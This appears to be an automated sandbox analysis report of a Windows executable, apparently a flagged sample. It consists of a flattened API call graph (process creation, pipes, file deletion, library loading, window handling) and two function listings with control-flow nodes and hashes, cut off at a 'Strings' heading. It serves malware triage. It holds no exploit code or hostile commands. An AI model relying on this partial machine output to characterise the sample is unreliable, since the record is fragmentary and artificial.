40619d 4 API calls 3349->3350 3350->3346 3884 405e8c 3351->3884 3354 4068b3 3359 4068cd 3354->3359 3355 40159d 3362 405f79 3355->3362 3356 406939 HeapAlloc 3358 40694b 3356->3358 3357 40695c HeapReAlloc 3357->3358 3360 4069b0 DestroyAcceleratorTable 3358->3360 3361 4069b7 CreateAcceleratorTableA 3358->3361 3359->3355 3359->3356 3359->3357 3359->3358 3360->3361 3361->3355 3364 405f80 3362->3364 3363 405fab SetFocus 3365 405fa4 3363->3365 3364->3363 3364->3365 3365->2818 3894 4069ce 3366->3894 3370 405fc4 3369->3370 3371 405fdd GetWindowTextLengthA 3370->3371 3374 405fd4 3370->3374 3372 40ade0 HeapReAlloc 3371->3372 3373 405ff3 GetWindowTextA strlen 3372->3373 3373->3374 3374->2834 3376 406472 3375->3376 3377 406462 3375->3377 3376->3377 3378 40648b GetWindow 3376->3378 3377->2856 3379 4064a6 RemovePropA RemovePropA 3378->3379 3380 406499 3378->3380 3382 4064c4 RevokeDragDrop 3379->3382 3383 4064cc 3379->3383 3380->3379 3381 40649f SetActiveWindow 3380->3381 3381->3379 3382->3383 3384 4064d3 SendMessageA 3383->3384 3385 4064e5 DestroyWindow sprintf UnregisterClassA 3383->3385 3386 406517 3384->3386 3385->3386 3387 406536 3386->3387 3388 40651e HeapFree DestroyAcceleratorTable 3386->3388 3389 406544 3387->3389 3390 40653d DeleteObject 3387->3390 3388->3387 3968 408e76 3389->3968 3390->3389 3395 40a1df 2 API calls 3395->3377 3397 4094bd 3396->3397 3984 40a080 3397->3984 3399 4094e0 3400 40ade0 HeapReAlloc 3399->3400 3401 401684 3400->3401 3401->2788 3403 4038dd 3402->3403 3403->3403 3404 404060 2 API calls 3403->3404 3405 4038f6 3404->3405 3406 40a8cd 4 API calls 3405->3406 3407 403914 3406->3407 3408 40a8cd 4 API calls 3407->3408 3409 403932 3408->3409 3410 40a8cd 4 API calls 3409->3410 3411 403950 3410->3411 3987 403000 3411->3987 3414 403000 6 API calls 3415 403974 3414->3415 3416 403ae8 3415->3416 3423 407fb0 RtlAllocateHeap 3415->3423 3425 403ab3 RemoveDirectoryA 3415->3425 4001 408020 3415->4001 3417 40acb0 HeapFree 3416->3417 3418 403b5c 3417->3418 3419 40a9f5 2 API calls 3418->3419 3420 403b66 3419->3420 3421 40a9f5 2 API calls 3420->3421 3422 403b6f 3421->3422 3424 40a9f5 2 API calls 3422->3424 3423->3415 3426 403b78 3424->3426 3428 4048a4 20 API calls 3425->3428 3426->2755 3428->3415 3430 40ade0 HeapReAlloc 3429->3430 3431 408077 GetCurrentDirectoryA 3430->3431 3432 408087 3431->3432 3432->2823 3434 40492c CoInitialize 3433->3434 3435 40493d memset LoadLibraryA 3433->3435 3434->3435 3436 404a55 3435->3436 3437 40496a GetProcAddress GetProcAddress 3435->3437 3440 40ade0 HeapReAlloc 3436->3440 3438 404995 strncpy strlen 3437->3438 3439 40498e 3437->3439 3441 4049c0 3438->3441 3439->3438 3444 404a5e 3440->3444 3442 404b9a 3 API calls 3441->3442 3443 4049d9 3442->3443 3445 404af1 16 API calls 3443->3445 3444->2833 3446 4049fa 3445->3446 3447 404af1 16 API calls 3446->3447 3448 404a0a 3447->3448 3449 404a46 FreeLibrary 3448->3449 3450 40ade0 HeapReAlloc 3448->3450 3449->3436 3449->3444 3451 404a18 CoTaskMemFree strlen 3450->3451 3451->3449 3453 404a3d 3451->3453 3453->3449 3455 40a135 3 API calls 3454->3455 3456 408656 CreateFileA 3455->3456 3457 4086c9 3456->3457 3458 40867a 3456->3458 3460 4086db 3457->3460 3463 40a1df 2 API calls 3457->3463 3458->3457 3459 40867e 3458->3459 3461 408687 HeapAlloc 3459->3461 3462 40869b 3459->3462 3460->2901 3461->3462 3462->2901 3463->3460 3465 408700 3464->3465 3466 408736 3464->3466 3465->3466 3467 408740 3465->3467 3468 408725 3465->3468 3466->2924 3467->3467 3469 408747 WriteFile 3467->3469 3468->3468 3470 4088b0 5 API calls 3468->3470 3469->2924 3470->3466 3471->2847 3473 4081d9 strncpy strlen 3472->3473 3474 401a97 PathAddBackslashA 3472->3474 3476 408209 CreateDirectoryA 3473->3476 3474->2868 3476->3474 3478 4087c4 3477->3478 3479 408780 3477->3479 3478->2902 3479->3478 3480 4087b2 WriteFile 3479->3480 3481 4087a4 3479->3481 3480->3478 3482 4088b0 5 API calls 3481->3482 3483 4087ac 3482->3483 3483->2902 3485 408ab7 3484->3485 3486 408f12 3485->3486 3497 4091e3 3486->3497 3489 408f3e RtlAllocateHeap 3492 408f65 3489->3492 3493 408fcf HeapFree 3489->3493 3490 408ad0 3490->3023 3490->3024 3494 408f95 3492->3494 3493->3490 3508 40a2a5 3494->3508 3498 408f22 HeapAlloc 3497->3498 3499 4091ef 3497->3499 3498->3489 3498->3490 3524 40928b 3499->3524 3501 4091f6 3531 40a661 3501->3531 3504 409223 3506 409224 HeapFree 3504->3506 3505 409237 HeapFree 3505->3498 3506->3506 3507 409236 3506->3507 3507->3505 3509 40a2c4 3508->3509 3510 40a2d5 3509->3510 3511 40a38b HeapAlloc 3509->3511 3568 40a73e LoadLibraryA 3510->3568 3513 40a3a2 3511->3513 3517 40a3cf 3511->3517 3516 40a3c0 InitializeCriticalSection 3513->3516 3513->3517 3514 408fb1 HeapAlloc 3514->3490 3515 40a2e4 EnterCriticalSection 3519 40a2f6 3515->3519 3516->3517 3517->3514 3518 40a318 HeapAlloc 3520 40a32d 3518->3520 3523 40a343 LeaveCriticalSection 3518->3523 3519->3518 3519->3523 3521 40a2a5 4 API calls 3520->3521 3521->3523 3523->3514 3525 40929f 3524->3525 3526 4092e8 memset 3525->3526 3527 4092aa HeapFree 3525->3527 3544 40b47a 3525->3544 3549 40a53a 3525->3549 3528 409301 3526->3528 3527->3525 3528->3501 3532 40a671 EnterCriticalSection 3531->3532 3533 40a6d3 3531->3533 3535 40a6c9 LeaveCriticalSection 3532->3535 3536 40a68c 3532->3536 3559 40a5f3 3533->3559 3537 4091fe HeapFree HeapFree 3535->3537 3539 40a661 4 API calls 3536->3539 3537->3504 3537->3505 3542 40a695 HeapFree 3539->3542 3540 40a6e8 HeapFree 3540->3537 3541 40a6de DeleteCriticalSection 3541->3540 3542->3535 3545 40b560 3544->3545 3546 40b490 3544->3546 3545->3525 3546->3545 3547 40b47a HeapFree 3546->3547 3556 40acb0 3546->3556 3547->3546 3550 40a545 EnterCriticalSection 3549->3550 3551 40a54f 3549->3551 3550->3551 3554 40a58c HeapFree 3551->3554 3555 40a5a3 3551->3555 3552 40a5e5 LeaveCriticalSection 3553 40a5ef 3552->3553 3553->3525 3554->3555 3555->3552 3555->3553 3557 40acbb HeapFree 3556->3557 3558 40acce 3556->3558 3557->3558 3558->3546 3560 40a602 EnterCriticalSection 3559->3560 3561 40a60c 3559->3561 3560->3561 3562 40a619 HeapFree 3561->3562 3563 40a62b 3561->3563 3562->3562 3562->3563 3564 40a631 HeapFree 3563->3564 3565 40a643 3563->3565 3564->3564 3564->3565 3566 40a650 LeaveCriticalSection 3565->3566 3567 40a65a 3565->3567 3566->3567 3567->3540 3567->3541 3569 40a786 3568->3569 3570 40a75b GetProcAddress 3568->3570 3573 40a79d Sleep 3569->3573 3574 40a7a9 3569->3574 3571 40a77b FreeLibrary 3570->3571 3572 40a76b 3570->3572 3571->3569 3571->3574 3572->3571 3573->3569 3574->3515 3575->3027 3576->3035 3578 4074c5 GetProcAddress 3577->3578 3579 40750d LoadLibraryA 3577->3579 3580 4074d4 memset 3578->3580 3581 407506 FreeLibrary 3578->3581 3582 407549 3579->3582 3583 40751a GetProcAddress 3579->3583 3585 4074f2 3580->3585 3581->3579 3582->3040 3584 407542 FreeLibrary 3583->3584 3586 407526 3583->3586 3584->3582 3585->3581 3586->3584 3587->3046 3588->3053 3589->3060 3591 405720 3590->3591 3595 405701 3590->3595 3592 40555b 3591->3592 3593 40a53a 3 API calls 3591->3593 3592->3067 3593->3591 3594 40b47a HeapFree 3594->3595 3595->3592 3595->3594 3596 40a53a 3 API calls 3595->3596 3596->3595 3598 40a8dd RtlAllocateHeap 3597->3598 3602 40a9fe 3597->3602 3598->3081 3598->3082 3599 40aa27 HeapFree 3599->3598 3600 40aa25 3600->3599 3601 40b47a HeapFree 3601->3602 3602->3599 3602->3600 3602->3601 3604 40ad41 strlen 3603->3604 3605 40adaa 3603->3605 3607 40ad74 HeapReAlloc 3604->3607 3608 40ad58 HeapAlloc 3604->3608 3606 40adb2 HeapFree 3605->3606 3609 40ad95 3605->3609 3606->3609 3607->3609 3608->3609 3609->3085 3614 40a263 3610->3614 3612 404c36 GetCommandLineA 3613 4011db GetModuleHandleA GetCommandLineA 3612->3613 3613->3101 3614->3612 3616 407ee8 3615->3616 3617 40adff HeapReAlloc 3615->3617 3616->3105 3616->3106 3617->3616 3621 40ace0 3618->3621 3622 403806 FindResourceA 3621->3622 3623 40acea strlen HeapAlloc 3621->3623 3622->3114 3622->3115 3625 40aec0 3623->3625 3626 40aecd 3625->3626 3626->3622 3627->3132 3629 40a156 3628->3629 3630 40a13f 3628->3630 3632 40a181 3629->3632 3633 40a161 HeapReAlloc 3629->3633 3644 40a860 HeapAlloc 3630->3644 3635 40a198 HeapAlloc 3632->3635 3636 408585 CreateFileA 3632->3636 3633->3632 3635->3636 3636->3161 3636->3162 3638 40a20b 3637->3638 3639 40a1eb 3637->3639 3646 40a88d 3638->3646 3639->3638 3641 40a1f0 3639->3641 3642 40a215 3641->3642 3643 40a1fb memset 3641->3643 3642->3165 3643->3642 3645 40a152 3644->3645 3645->3636 3647 40a89e HeapFree 3646->3647 3647->3642 3650 4088e5 3649->3650 3651 4088c5 SetFilePointer 3649->3651 3652 4088f0 3650->3652 3653 40895a 3650->3653 3651->3650 3655 40891f 3652->3655 3659 408905 memcpy 3652->3659 3660 408310 3653->3660 3655->3172 3657 408987 memcpy 3657->3172 3658 408967 WriteFile 3658->3172 3659->3172 3661 408321 WriteFile 3660->3661 3662 408345 3660->3662 3661->3662 3662->3657 3662->3658 3664 40450e 3663->3664 3665 404425 3663->3665 3664->3201 3666 404462 strncmp 3665->3666 3668 404490 3665->3668 3666->3665 3667 4044e2 3670 40ade0 HeapReAlloc 3667->3670 3668->3667 3669 4044cd memmove 3668->3669 3669->3667 3671 4044ed 3670->3671 3672 404503 3671->3672 3673 4044f4 strncpy 3671->3673 3672->3201 3673->3672 3685 40a3db 3674->3685 3677 4055cb memset 3678 4055c7 3677->3678 3678->3228 3693 4095b0 3679->3693 3703 404670 3682->3703 3684 4036fa 3684->3205 3686 40a3ef EnterCriticalSection 3685->3686 3687 40a3f9 3685->3687 3686->3687 3688 40a490 HeapAlloc 3687->3688 3692 40a400 3687->3692 3689 40a4b9 HeapAlloc 3688->3689 3688->3692 3689->3692 3690 4055bf 3690->3677 3690->3678 3691 40a51b LeaveCriticalSection 3691->3690 3692->3690 3692->3691 3694 4097bd 3693->3694 3695 4095ce CreateFileA 3693->3695 3694->3228 3695->3694 3696 4095f5 RtlAllocateHeap 3695->3696 3697 409612 3696->3697 3698 4097b5 CloseHandle 3696->3698 3699 409622 SetFilePointer 3697->3699 3701 409631 3697->3701 3698->3694 3699->3701 3700 40967d ReadFile 3700->3701 3701->3700 3701->3701 3702 4097a5 RtlFreeHeap 3701->3702 3702->3698 3704 40467f 3703->3704 3705 40ade0 HeapReAlloc 3704->3705 3707 4046c0 3705->3707 3706 4047f9 3706->3684 3707->3706 3707->3707 3708 40472a HeapAlloc 3707->3708 3710 404748 3707->3710 3708->3710 3709 404774 strncpy 3713 404796 3709->3713 3710->3709 3710->3713 3711 4047de 3711->3706 3712 4047e5 HeapFree 3711->3712 3712->3706 3713->3711 3714 4047ba strncpy 3713->3714 3714->3711 3718 408251 3715->3718 3716 40ade0 HeapReAlloc 3717 4082c0 3716->3717 3719 4082d2 memmove 3717->3719 3718->3716 3719->3273 3721 404141 3720->3721 3721->3721 3722 40ade0 HeapReAlloc 3721->3722 3723 4041b4 3722->3723 3723->3281 3725 40ade0 HeapReAlloc 3724->3725 3726 4042d0 3725->3726 3726->3288 3728 404e57 3727->3728 3729 404e80 3728->3729 3730 404e99 CreatePipe 3728->3730 3731 404f49 3729->3731 3734 404f10 3729->3734 3735 404edd CreatePipe 3729->3735 3730->3729 3732 404eb0 3730->3732 3733 404f78 strlen strlen HeapAlloc 3731->3733 3738 404f60 3731->3738 3739 404f59 GetStdHandle 3731->3739 3796 404dc2 GetCurrentProcess GetCurrentProcess DuplicateHandle 3732->3796 3747 404fe0 strcpy 3733->3747 3748 404fbd strcpy strcat strcat 3733->3748 3734->3731 3736 404f16 CreatePipe 3734->3736 3735->3734 3740 404ef4 3735->3740 3736->3731 3741 404f2d 3736->3741 3743 404f65 GetStdHandle 3738->3743 3744 404f6c 3738->3744 3739->3738 3745 404dc2 4 API calls 3740->3745 3749 404dc2 4 API calls 3741->3749 3743->3744 3744->3733 3750 404f71 GetStdHandle 3744->3750 3751 404f05 3745->3751 3752 404fe9 3747->3752 3748->3752 3753 404f3e 3749->3753 3750->3733 3751->3734 3754 404ff0 strcat strcat 3752->3754 3755 405009 CreateProcessA 3752->3755 3753->3731 3754->3755 3757 4050cb 3755->3757 3758 40503d 3755->3758 3759 4050d6 CloseHandle 3757->3759 3760 4050db 3757->3760 3761 405048 CloseHandle 3758->3761 3762 40504d 3758->3762 3759->3760 3763 4050e0 CloseHandle 3760->3763 3764 4050e5 3760->3764 3761->3762 3765 405052 CloseHandle 3762->3765 3766 405057 3762->3766 3763->3764 3767 4050ea CloseHandle 3764->3767 3768 4050ef 3764->3768 3765->3766 3769 405061 CloseHandle 3766->3769 3770 40505c CloseHandle 3766->3770 3767->3768 3773 4050f4 CloseHandle 3768->3773 3774 4050f9 3768->3774 3771 405077 3769->3771 3772 40506c WaitForSingleObject 3769->3772 3770->3769 3775 4050c1 CloseHandle 3771->3775 3776 40507c EnterCriticalSection 3771->3776 3772->3771 3773->3774 3777 405103 3774->3777 3778 4050fe CloseHandle 3774->3778 3782 4051e9 3775->3782 3781 40a860 HeapAlloc 3776->3781 3779 405108 CloseHandle 3777->3779 3780 40510d 3777->3780 3778->3777 3779->3780 3783 405200 HeapFree 3780->3783 3785 405159 memset ShellExecuteExA 3780->3785 3786 40511c strlen 3780->3786 3784 405094 LeaveCriticalSection 3781->3784 3782->3783 3783->3292 3784->3782 3785->3783 3788 40519e 3785->3788 3786->3785 3787 40512f 3786->3787 3787->3785 3791 40513f strcpy 3787->3791 3789 4051a4 WaitForSingleObject 3788->3789 3790 4051af 3788->3790 3789->3790 3792 4051f4 CloseHandle 3790->3792 3793 4051b4 EnterCriticalSection 3790->3793 3791->3785 3792->3782 3794 40a860 HeapAlloc 3793->3794 3795 4051cc LeaveCriticalSection 3794->3795 3795->3782 3797 404df7 3796->3797 3798 404dea CloseHandle 3796->3798 3797->3729 3798->3797 3800 408195 3799->3800 3801 401f5f 3799->3801 3802 4081ab DeleteFileA 3800->3802 3803 40819c SetFileAttributesA 3800->3803 3801->3007 3802->3801 3803->3802 3805 404afc EnumWindows 3804->3805 3811 404b40 3804->3811 3806 4048ac 3805->3806 3807 404b15 GetCurrentThreadId 3805->3807 3818 404a6f GetWindowThreadProcessId GetCurrentThreadId 3805->3818 3815 404b9a GetForegroundWindow 3806->3815 3808 404b22 3807->3808 3808->3806 3808->3807 3810 404b27 SetWindowPos 3808->3810 3809 404b4b GetCurrentThreadId 3809->3811 3810->3808 3811->3806 3811->3809 3812 404b5f EnableWindow 3811->3812 3813 404b6f SetWindowPos 3811->3813 3814 40a88d HeapFree 3811->3814 3812->3811 3813->3811 3814->3811 3816 4048bd MessageBoxA 3815->3816 3817 404bab GetWindowThreadProcessId GetCurrentProcessId 3815->3817 3816->3327 3817->3816 3819 404ae8 3818->3819 3820 404a8d IsWindowVisible 3818->3820 3820->3819 3821 404a98 3820->3821 3822 40a860 HeapAlloc 3821->3822 3823 404aa4 GetCurrentThreadId GetWindowLongA 3822->3823 3824 404ac2 3823->3824 3825 404ac6 GetForegroundWindow 3823->3825 3824->3825 3825->3819 3826 404ad0 IsWindowEnabled 3825->3826 3826->3819 3827 404adb EnableWindow 3826->3827 3827->3819 3829 40a135 3 API calls 3828->3829 3830 406604 sprintf 3829->3830 3832 406633 3830->3832 3833 40663a memset RegisterClassA 3830->3833 3832->3833 3835 406694 AdjustWindowRectEx 3833->3835 3836 40671d CreateWindowExA 3835->3836 3838 406772 3836->3838 3839 406866 UnregisterClassA 3836->3839 3848 406784 3838->3848 3849 4070c6 GetWindowRect 3838->3849 3840 40a1df 2 API calls 3839->3840 3842 40151a 3840->3842 3842->3338 3843 4067c3 HeapAlloc CreateAcceleratorTableA 3844 406846 SetPropA 3843->3844 3845 40683f 3843->3845 3844->3842 3858 40b750 3845->3858 3847 4067ba ShowWindow 3847->3843 3848->3843 3848->3847 3850 4070f0 GetSystemMetrics 3849->3850 3851 40711c 3849->3851 3852 407100 GetSystemMetrics 3850->3852 3853 4070fe 3850->3853 3854 407111 SetWindowPos 3851->3854 3855 407133 GetWindowRect 3851->3855 3856 407129 GetActiveWindow 3851->3856 3852->3854 3853->3852 3854->3848 3855->3854 3856->3854 3856->3855 3859 40b763 3858->3859 3860 40b782 sprintf 3859->3860 3868 40b7ee 3859->3868 3861 40b7a6 GetPropA 3860->3861 3862 40b7ca GetPropA 3860->3862 3861->3862 3863 40b7d9 3862->3863 3864 40b80b 3862->3864 3865 40b7e0 HeapFree 3863->3865 3863->3868 3866 40b832 3864->3866 3867 40b816 HeapAlloc 3864->3867 3865->3868 3869 40b835 HeapAlloc SetPropA SetWindowLongA 3866->3869 3867->3869 3868->3844 3869->3868 3871 40598c 3870->3871 3872 40599c memset 3871->3872 3874 4059f9 CreateWindowExA 3871->3874 3872->3874 3875 405a47 3874->3875 3876 40153e 3874->3876 3877 40a135 3 API calls 3875->3877 3876->3341 3878 405a55 3877->3878 3880 40619d 3878->3880 3881 4061af 3880->3881 3882 4061be SetWindowLongA SetWindowLongA SetPropA SendMessageA 3881->3882 3883 40620f 3882->3883 3883->3876 3885 405e9e 3884->3885 3886 405eb0 memset 3885->3886 3887 405ef1 CreateWindowExA 3885->3887 3886->3887 3889 405f35 3887->3889 3893 401589 3887->3893 3890 40a135 3 API calls 3889->3890 3891 405f43 3890->3891 3892 40619d 4 API calls 3891->3892 3892->3893 3893->3354 3895 4069e2 3894->3895 3911 408cf3 3895->3911 3898 406a02 PeekMessageA 3900 406a53 GetActiveWindow 3898->3900 3901 406a14 3898->3901 3899 406a49 GetMessageA 3899->3900 3929 407391 GetFocus 3900->3929 3903 406a20 MsgWaitForMultipleObjects 3901->3903 3904 4069ef 3901->3904 3903->3904 3906 406a38 PeekMessageA 3903->3906 3904->2818 3905 406a61 3907 406a83 TranslateMessage DispatchMessageA 3905->3907 3908 406a65 TranslateAcceleratorA 3905->3908 3906->3900 3906->3904 3907->3904 3908->3907 3909 406a75 3908->3909 3909->3904 3948 40734a SendMessageA 3909->3948 3912 408d01 3911->3912 3913 408d10 EnterCriticalSection 3912->3913 3916 408d1b 3912->3916 3913->3916 3914 4069e9 3914->3898 3914->3899 3914->3904 3915 408ddc LeaveCriticalSection 3915->3914 3917 40a53a 3 API calls 3916->3917 3928 408dd1 3916->3928 3918 408d81 3917->3918 3918->3928 3952 408b0a sprintf 3918->3952 3921 408b0a 4 API calls 3922 408da7 3921->3922 3923 408b0a 4 API calls 3922->3923 3924 408db4 3923->3924 3925 408b0a 4 API calls 3924->3925 3926 408dbf 3925->3926 3927 408b0a 4 API calls 3926->3927 3927->3928 3928->3914 3928->3915 3930 4073ab GetKeyState 3929->3930 3931 40740d 3929->3931 3930->3931 3934 4073b3 GetKeyState 3930->3934 3932 407436 3931->3932 3933 407416 GetKeyState 3931->3933 3937 407440 GetPropA 3932->3937 3938 40744c GetPropA 3932->3938 3935 40742e 3933->3935 3936 40741e GetKeyState 3933->3936 3934->3931 3939 4073bb GetKeyState 3934->3939 3941 40734a 2 API calls 3935->3941 3936->3935 3940 407426 GetKeyState 3936->3940 3937->3938 3947 407406 3937->3947 3942 40745a GetWindowThreadProcessId 3938->3942 3938->3947 3939->3931 3943 4073c3 GetKeyState 3939->3943 3940->3932 3940->3935 3941->3932 3944 40746a GetCurrentProcessId 3942->3944 3942->3947 3943->3931 3945 4073cb GetClassNameA strncmp 3943->3945 3944->3947 3945->3931 3946 4073f1 SendMessageA 3945->3946 3946->3931 3946->3947 3947->3905 3950 407368 3948->3950 3949 40738b 3949->3904 3950->3949 3951 407381 SendMessageA 3950->3951 3951->3949 3955 408fe8 3952->3955 3956 408ff1 3955->3956 3957 409042 3956->3957 3958 409007 3956->3958 3961 408b3c 3957->3961 3962 409057 strcmp 3957->3962 3964 409265 3958->3964 3960 40900c 3960->3961 3963 40901c _stricmp 3960->3963 3961->3921 3962->3957 3962->3961 3963->3960 3963->3961 3965 409278 tolower 3964->3965 3966 409286 3965->3966 3967 40926f 3965->3967 3966->3960 3967->3965 3970 408e82 3968->3970 3969 40654c 3972 408ec2 3969->3972 3970->3969 3971 40a53a 3 API calls 3970->3971 3971->3970 3973 408ecd 3972->3973 3974 406554 3973->3974 3976 409088 3973->3976 3974->3395 3977 4090eb 3976->3977 3978 409094 3976->3978 3977->3973 3979 4090c0 HeapFree 3978->3979 3980 4090d1 3978->3980 3979->3980 3981 4090e2 3980->3981 3983 40b47a HeapFree 3980->3983 3982 40a53a 3 API calls 3981->3982 3982->3977 3983->3981 3985 40a090 3984->3985 3986 40a123 memset 3985->3986 3986->3399 3988 403008 3987->3988 3988->3988 3989 404060 2 API calls 3988->3989 3990 403021 3989->3990 3991 40a8cd 4 API calls 3990->3991 4000 403075 3990->4000 3992 403057 3991->3992 3994 40a8cd 4 API calls 3992->3994 3993 40acb0 HeapFree 3995 403257 3993->3995 3994->4000 3996 40a9f5 2 API calls 3995->3996 3997 403261 3996->3997 3998 40a9f5 2 API calls 3997->3998 3999 40326a 3998->3999 3999->3414 4000->3993 4002 408054 4001->4002 4003 408028 4001->4003 4002->3415 4004 408030 HeapReAlloc 4003->4004 4005 407f70 4003->4005 4004->3415 4006 407fa3 4005->4006 4007 407f80 HeapAlloc 4005->4007 4008 407f91 HeapAlloc 4005->4008 4006->3415 4007->3415 4008->3415 4009 4060e0 GetWindowLongA 4010 406187 DefWindowProcA 4009->4010 4011 4060fc 4009->4011 4012 406181 4010->4012 4013 406109 CallWindowProcA 4011->4013 4013->4012 4014 40612a RemovePropA RemovePropA 4013->4014 4016 406151 RevokeDragDrop 4014->4016 4017 406158 SetWindowLongA 4014->4017 4016->4017 4021 408dfb 4017->4021 4020 40a1df 2 API calls 4020->4012 4023 408e07 4021->4023 4022 406172 4022->4020 4023->4022 4024 40a53a 3 API calls 4023->4024 4024->4023 4025 407d85 4026 407d8f 4025->4026 4027 407d9c 4025->4027 4027->4026 4028 407daf GetObjectType 4027->4028 4029 407dc6 DestroyIcon 4028->4029 4030 407dbe DeleteObject 4028->4030 4031 407dcc 4029->4031 4030->4031 4032 40a1df 2 API calls 4031->4032 4032->4026 4033 40b687 sprintf GetPropA 4034 40b738 DefWindowProcA 4033->4034 4038 40b6bb 4033->4038 4035 40b74a 4034->4035 4036 40b71c 4036->4034 4037 40b721 CallWindowProcA 4036->4037 4037->4035 4038->4036 4039 40b704 HeapFree RemovePropA 4038->4039 4040 40b6fa HeapFree 4038->4040 4039->4036 4040->4039 4041 405b28 4042 405b33 4041->4042 4043 405b4a CallWindowProcA 4042->4043 4045 40624b 4042->4045 4049 406218 4045->4049 4048 40627d 4048->4043 4050 40623b GetParent 4049->4050 4051 406243 GetPropA GetWindowLongA 4050->4051 4052 406228 GetPropA 4050->4052 4051->4048 4052->4051 4053 406238 4052->4053 4053->4050 4054 404bc8 4055 404bd7 4054->4055 4056 404bf2 4055->4056 4057 404bdb CloseHandle 4055->4057 4058 40a1df 2 API calls 4057->4058 4058->4056 4059 40574e HeapAlloc 4060 408a17 4061 40a661 9 API calls 4060->4061 4062 408a22 4061->4062 4063 40601a 4064 40602e 4063->4064 4066 406021 4063->4066 4065 406041 DestroyWindow 4064->4065 4064->4066 4065->4066 4067 4089fa 4068 40a2a5 9 API calls 4067->4068 4069 408a0a 4068->4069 4070 40a3db 4 API calls 4069->4070 4071 408a16 4070->4071 4072 40577b HeapFree 4073 40a95e 4076 40a97c 4073->4076 4074 40a8cd 4 API calls 4075 40a9c3 4074->4075 4076->4074

                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                    Function 004095B0 Relevance: 9.2, APIs: 6, Instructions: 157filememoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 584 4095b0-4095c8 585 4097be-4097c7 584->585 586 4095ce-4095ef CreateFileA 584->586 587 4095f5-40960c RtlAllocateHeap 586->587 588 4097bd 586->588 589 409612-409616 587->589 590 4097b5-4097bc CloseHandle 587->590 588->585 591 409631-40963f 589->591 592 409618-40961c 589->592 590->588 595 409645-409664 591->595 593 409622-40962b SetFilePointer 592->593 594 40961e-409620 592->594 593->591 594->591 594->593 596 409666-40966b 595->596 597 40967d-40969c ReadFile 595->597 596->597 598 40966d 596->598 599 4096a2-4096a7 597->599 600 40977c-40977e 597->600 601 409675-409679 598->601 602 40966f-409673 598->602 603 4096b0-409772 599->603 604 409780-409797 600->604 605 409799-40979f 600->605 601->597 602->597 602->601 603->603 606 409778 603->606 604->604 604->605 607 409641 605->607 608 4097a5-4097af RtlFreeHeap 605->608 606->600 607->595 608->590
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004095E0
                                                                                                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(02660000,00000000,00080000,02663DFC), ref: 00409602
                                                                                                                                                                                                                                                                    • SetFilePointer.KERNEL32(00000000,?,?,00000000), ref: 0040962B
                                                                                                                                                                                                                                                                    • ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 0040968B
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(00000000), ref: 004097B6
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: File$AllocateCloseCreateHandleHeapPointerRead
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2058069595-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7710cc458d1e36ce5c6c8fb558d10a8e6b63fa34c53eaa9bb1a2a17a6920808a
                                                                                                                                                                                                                                                                    • Instruction ID: 7857e0cf669cdad067289afae0ca7870c260e0dcc48a13a813e047a50a9bd522
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7710cc458d1e36ce5c6c8fb558d10a8e6b63fa34c53eaa9bb1a2a17a6920808a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 365106339142619BD3548F54DC95B3B77A4EB89311F1A0A3EFD82A72D2C678DC04C799
                                                                                                                                                                                                                                                                    Function 00407551 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 609 407551-407571 LoadLibraryA 610 407573-40757f GetProcAddress 609->610 611 407584-4075a1 GetVersionExA 609->611 610->611 612 4075c2-4075c8 611->612 613 4075a3-4075a7 611->613 614 4075d9-4075de 612->614 615 4075ca-4075d1 call 407498 612->615 616 4075d3 613->616 617 4075a9-4075ad 613->617 615->614 615->616 616->614 617->612 618 4075af-4075b3 617->618 618->616 620 4075b5 618->620 620->612 622 4075b7-4075ba 620->622 622->612 623 4075bc 622->623 623->612
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNELBASE(msimg32.dll), ref: 00407562
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,AlphaBlend), ref: 00407579
                                                                                                                                                                                                                                                                    • GetVersionExA.KERNEL32(?), ref: 00407599
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
